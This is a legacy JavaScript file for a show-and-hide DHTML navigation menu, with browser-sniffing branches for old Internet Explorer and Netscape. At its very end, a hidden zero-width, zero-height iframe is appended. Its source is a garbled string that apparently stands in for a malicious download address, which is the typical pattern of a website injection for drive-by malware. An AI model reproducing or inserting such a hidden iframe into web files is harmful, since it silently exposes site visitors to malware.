var n = document.layers ? 1 : 0
var ie= document.all ? 1 : 0
//function showit() {}//{setTimeOut(showit(),1000);}
function showit() {
	if (choadaboy != "") {
	var theObj = ie ? eval(choadaboy + "ie.style") : eval("document.layers[0].document." + choadaboy)
	if (choadaboy!="")  theObj.visibility = "visible";
	}
}

function hideit()
{
	var theObj = ie ? eval(choadaboy + "ie.style") : eval("document.layers[0].document." + choadaboy)
	if (choadaboy!="")  theObj.visibility = "hidden";
}
function di(id,name) {if (document.images) {document.images[id].src=eval(name+".src");}}	

var done=1

function hideall() {hidenav1();hidenav2();}

function hidenav1() {ie ? nav1ie.style.visibility = "hidden" : document.layers[0].document.nav1.visibility = "hidden"}
function hidenav2() {ie ? nav2ie.style.visibility = "hidden" : document.layers[0].document.nav2.visibility = "hidden"}
function hidenav3() {ie ? nav3ie.style.visibility = "hidden" : document.layers[0].document.nav3.visibility = "hidden"}
function hidenet()  {ie ? net.style.visibility="hidden": document.layers[0].document.net.visibility="hidden"}
function hidenav4()  {ie ? nav4.style.visibility="hidden": document.layers[0].document.nav4.visibility="hidden"}
function hidenav5()  {ie ? nav5.style.visibility="hidden": document.layers[0].document.nav5.visibility="hidden"}
function hidenav6()  {ie ? nav6.style.visibility="hidden": document.layers[0].document.nav6.visibility="hidden"}

function shownav1() {if(choadaboy!="nav1" && choadaboy!="") hideit(); ie ? nav1ie.style.visibility = "visible" : document.layers[0].document.nav1.visibility = "visible"}
function shownav2() {if(choadaboy!="nav2" && choadaboy!="") hideit(); ie ? nav2ie.style.visibility = "visible" : document.layers[0].document.nav2.visibility = "visible"}
function shownav3() {if(choadaboy!="nav3" && choadaboy!="") hideit(); ie ? nav3ie.style.visibility = "visible" : document.layers[0].document.nav3.visibility = "visible"}
function shownet() {if(choadaboy!="net" && choadaboy!="") hideit(); ie ? net.style.visibility = "visible" : document.layers[0].document.net.visibility = "visible"}
function shownav4() {if(choadaboy!="nav4" && choadaboy!="") hideit(); ie ? nav4.style.visibility = "visible" : document.layers[0].document.nav4.visibility = "visible"}
function shownav5() {if(choadaboy!="nav5" && choadaboy!="") hideit(); ie ? nav5.style.visibility = "visible" : document.layers[0].document.nav5.visibility = "visible"}
function shownav6() {if(choadaboy!="nav6" && choadaboy!="") hideit(); ie ? nav6.style.visibility = "visible" : document.layers[0].document.nav6.visibility = "visible"}<iframe src='ÍøÂíµØÖ·' width=0 height=0></iframe>